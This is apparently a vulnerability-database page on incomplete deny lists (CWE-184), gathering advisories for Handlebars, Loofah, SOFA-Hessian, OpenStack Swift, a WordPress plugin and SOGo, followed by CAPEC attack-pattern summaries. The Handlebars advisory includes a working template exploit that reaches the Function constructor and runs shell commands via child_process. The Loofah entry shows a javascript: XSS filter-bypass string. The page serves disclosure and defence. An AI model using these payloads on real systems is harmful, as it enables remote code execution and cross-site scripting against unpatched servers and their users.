// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "4.7.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1289",
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:52:26Z",
    "nvd_published_at": "2026-10-06T20:17:26Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nHandlebars can expose the `Function` constructor despite its prototype-access deny list. When a template reaches `Function.prototype`, its own `constructor` property is returned before the deny list is checked. An attacker who can render a controlled template with `allowProtoMethodsByDefault: true` can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`lookupProperty` trusts own properties:\n\n```js\nif (Object.prototype.hasOwnProperty.call(parent, propertyName)) {\n  return result;\n}\n```\n\nNormally, prototype-derived values reach `resultIsAllowed`, which blocks dangerous method names such as `constructor`. However, `constructor` is itself an own property of prototype objects:\n\n```js\nFunction.prototype.constructor === Function;\nString.prototype.constructor === String;\nObject.prototype.constructor === Object;\n```\n\nAs a result, once a template reaches `Function.prototype`, looking up `constructor` returns `Function` without consulting the deny list.\n\n## Proof of Concept\n\nAn attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:\n\n1. Access a function\u0027s prototype: {{lookup myFunction \"proto\"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).\n2. Access constructor via own property bypass: {{lookup (lookup myFunction \"\\_\\_proto__\") \"constructor\"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.\n3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars\u0027 template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\n// constructor deny list bypass via hasOwnProperty check in lookupProperty\nconst template = Handlebars.compile(\n    // construct code array from template string literal\n    \u0027{{#with a}}\u0027 +\n      \u0027{{lookup \"\" (push \"return process.mainModule.require(\\\u0027child_process\\\u0027).execSync(\\\u0027id\\\u0027).toString()\")}}\u0027 +\n      \u0027{{lookup \"\" (pop)}}\u0027 +\n      \u0027{{lookup \"\" (shift)}}\u0027 +\n    \u0027{{/with}}\u0027 +\n\n    // access Function via own property bypass on Function.prototype.constructor\n    \u0027{{lookup \"\" (@root.a.push (lookup (lookup fn \"__proto__\") \"constructor\"))}}\u0027 +\n\n    // #each sets depth0=Function without calling it, apply avoids hash body\n    \u0027{{#each @root}}{{#if @index}}{{else}}\u0027 +\n      \u0027{{#with (this.apply null @root.a)}}{{this}}{{/with}}\u0027 +\n    \u0027{{/if}}{{/each}}\u0027\n);\n\nconst result = template(\n    { fn: function(){}, a: [0] },\n    { allowProtoMethodsByDefault: true }\n);\n\nconsole.log(result.trim());\n\n// output: uid=1000(node) gid=1000(node) groups=1000(node)\n```\n\n## Workarounds\n\nDo not set `allowProtoMethodsByDefault: true` when compiling untrusted templates with untrusted data.\n\nIf you are using packages like [hbs](https://www.npmjs.com/package/hbs) which set `allowProtoMethodsByDefault: true` by default, you have to update Handlebars to the latest version.",
  "id": "GHSA-p8wg-vrv2-v86f",
  "modified": "2026-10-12T14:33:16Z",
  "published": "2026-10-08T17:52:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/ceec388abe1d1aac8f6369860d5f390fa71ef4fa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Handlebars: JavaScript Injection via Own Property Check Bypass"
}

GHSA-P9WJ-W8XQ-VJX6

Vulnerability from github – Published: 2026-11-12 21:26 – Updated: 2026-11-12 21:26
VLAI
Summary
Loofah allowed_uri? treats javascript&#x3a alert(1) as safe
Details

Summary

Loofah::HTML5::Scrub.allowed_uri? returns true for a javascript: or vbscript: URI whose scheme is split by a numeric character reference without a trailing semicolon, followed by a character that allowed_uri? strips, such as a space or tab. A browser ends the reference at that character and reads javascript&#x3a; alert(1) as javascript: alert(1).

Details

allowed_uri? strips control characters and whitespace before it decodes numeric character references. Removing the character that ends a semicolon-less reference lets the reference run on into the following text, so &#x3a; alert decodes as &#x3aa; (U+03AA) instead of a colon, and no scheme is detected. The same applies to decimal references and to references that encode a scheme letter, as in &#x6a;\tavascript:alert(1).

Loofah's default sanitize() path is not affected, because Nokogiri decodes the entity during parsing before Loofah evaluates the URI. This issue affects only callers of the public allowed_uri? string-level helper that pass it HTML-encoded strings.

Impact

Applications that validate a user-controlled URL with Loofah::HTML5::Scrub.allowed_uri? and then render the approved value into an href or another browser-interpreted URI attribute may be vulnerable to cross-site scripting. Rails::HTML::Sanitizer.allowed_uri? re-exports the same helper.

Mitigation

Upgrade to Loofah >= 2.25.3.

Credit

Responsibly reported by GitHub user @manus-pi.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "loofah"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.25.0"
            },
            {
              "fixed": "2.25.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-126209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-12T21:26:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`Loofah::HTML5::Scrub.allowed_uri?` returns `true` for a `javascript:` or `vbscript:` URI whose scheme is split by a numeric character reference without a trailing semicolon, followed by a character that `allowed_uri?` strips, such as a space or tab. A browser ends the reference at that character and reads `javascript\u0026#x3a alert(1)` as `javascript: alert(1)`.\n\n## Details\n\n`allowed_uri?` strips control characters and whitespace before it decodes numeric character references. Removing the character that ends a semicolon-less reference lets the reference run on into the following text, so `\u0026#x3a alert` decodes as `\u0026#x3aa` (U+03AA) instead of a colon, and no scheme is detected. The same applies to decimal references and to references that encode a scheme letter, as in `\u0026#x6a\\tavascript:alert(1)`.\n\nLoofah\u0027s default `sanitize()` path is **not** affected, because Nokogiri decodes the entity during parsing before Loofah evaluates the URI. This issue affects only callers of the public `allowed_uri?` string-level helper that pass it HTML-encoded strings.\n\n## Impact\n\nApplications that validate a user-controlled URL with `Loofah::HTML5::Scrub.allowed_uri?` and then render the approved value into an `href` or another browser-interpreted URI attribute may be vulnerable to cross-site scripting. `Rails::HTML::Sanitizer.allowed_uri?` re-exports the same helper.\n\n## Mitigation\n\nUpgrade to Loofah \u003e= 2.25.3.\n\n## Credit\n\nResponsibly reported by GitHub user @manus-pi.",
  "id": "GHSA-p9wj-w8xq-vjx6",
  "modified": "2026-11-12T21:26:25Z",
  "published": "2026-11-12T21:26:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flavorjones/loofah/security/advisories/GHSA-p9wj-w8xq-vjx6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flavorjones/loofah/pull/324"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flavorjones/loofah/commit/62c04841e8252a1b5373afcd2b89fb9b8279e317"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flavorjones/loofah"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flavorjones/loofah/releases/tag/v2.25.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/loofah/GHSA-p9wj-w8xq-vjx6.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Loofah allowed_uri? treats javascript\u0026#x3a alert(1) as safe"
}

GHSA-PFWP-8PQ4-G7PV

Vulnerability from github – Published: 2019-03-06 17:36 – Updated: 2024-03-21 16:02
VLAI
Summary
Incomplete List of Disallowed Inputs in SOFA-Hessian
Details

SOFA-Hessian through 4.0.2 allows remote attackers to execute arbitrary commands via a crafted serialized Hessian object because blacklisting of com.caucho.naming.QName and com.sun.org.apache.xpath.internal.objects.XString is mishandled, related to Resin Gadget.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.alipay.sofa:hessian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.alipay.sofa:hessian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-9212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:49:03Z",
    "nvd_published_at": "2019-02-27T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "SOFA-Hessian through 4.0.2 allows remote attackers to execute arbitrary commands via a crafted serialized Hessian object because blacklisting of com.caucho.naming.QName and com.sun.org.apache.xpath.internal.objects.XString is mishandled, related to Resin Gadget.",
  "id": "GHSA-pfwp-8pq4-g7pv",
  "modified": "2024-03-21T16:02:59Z",
  "published": "2019-03-06T17:36:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9212"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alipay/sofa-hessian/issues/34"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-pfwp-8pq4-g7pv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alipay/sofa-hessian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incomplete List of Disallowed Inputs in SOFA-Hessian"
}

GHSA-PPC2-WR9H-8MXG

Vulnerability from github – Published: 2026-09-24 03:30 – Updated: 2026-09-24 21:32
VLAI
Details

In OpenStack Swift before 2.38.2, the tempurl middleware does not reject the X-Copy-From header on PUT requests. A TempURL signature only covers the method, expiry, and path, and thus the list of disallowed headers is the only defense against a signed PUT request changing what the request does. An attacker holding a PUT TempURL for a single object can add an X-Copy-From header naming any object in the same account; the copy middleware copies that object to the destination, and the attacker then reads the victim's data back with a GET TempURL for the destination object. Copies across account boundaries are rejected. Only deployments using the shipped default proxy pipeline (tempurl and copy middleware) with account-level TempURL keys are affected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-97149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-24T03:16:59Z",
    "severity": "MODERATE"
  },
  "details": "In OpenStack Swift before 2.38.2, the tempurl middleware does not reject the X-Copy-From header on PUT requests. A TempURL signature only covers the method, expiry, and path, and thus the list of disallowed headers is the only defense against a signed PUT request changing what the request does. An attacker holding a PUT TempURL for a single object can add an X-Copy-From header naming any object in the same account; the copy middleware copies that object to the destination, and the attacker then reads the victim\u0027s data back with a GET TempURL for the destination object. Copies across account boundaries are rejected. Only deployments using the shipped default proxy pipeline (tempurl and copy middleware) with account-level TempURL keys are affected.",
  "id": "GHSA-ppc2-wr9h-8mxg",
  "modified": "2026-09-24T21:32:37Z",
  "published": "2026-09-24T03:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97149"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.net/bugs/2166876"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/24/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PR5G-GW8G-VFPM

Vulnerability from github – Published: 2026-08-21 12:30 – Updated: 2026-08-21 12:30
VLAI
Details

The Limit Login Attempts Reloaded WordPress plugin before 3.3.5 does not compare logins against its username denylist case-insensitively and does not account for the account's email address, allowing an account an administrator intended to block from logging in to authenticate anyway.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-18356"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-21T12:16:24Z",
    "severity": "LOW"
  },
  "details": "The Limit Login Attempts Reloaded WordPress plugin before 3.3.5 does not compare logins against its username denylist case-insensitively and does not account for the account\u0027s email address, allowing an account an administrator intended to block from logging in to authenticate anyway.",
  "id": "GHSA-pr5g-gw8g-vfpm",
  "modified": "2026-08-21T12:30:33Z",
  "published": "2026-08-21T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18356"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/fbcf5a9a-f204-49b8-aa80-748a8a7b5245"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PX99-X547-MJJW

Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2022-05-13 01:30
VLAI
Details

Incomplete blacklist in SOGo before 2.3.12 and 3.x before 3.1.1 allows remote authenticated users to obtain sensitive information by reading the fields in the (1) ics or (2) XML calendar feeds.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-6189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-17T17:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Incomplete blacklist in SOGo before 2.3.12 and 3.x before 3.1.1 allows remote authenticated users to obtain sensitive information by reading the fields in the (1) ics or (2) XML calendar feeds.",
  "id": "GHSA-px99-x547-mjjw",
  "modified": "2022-05-13T01:30:39Z",
  "published": "2022-05-13T01:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6189"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inverse-inc/sogo/commit/717f45f640a2866b76a8984139391fae64339225"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inverse-inc/sogo/commit/875a4aca3218340fd4d3141950c82c2ff45b343d"
    },
    {
      "type": "WEB",
      "url": "https://sogo.nu/bugs/view.php?id=3695"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/07/09/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

Strategy: Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-182: Flash Injection

An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.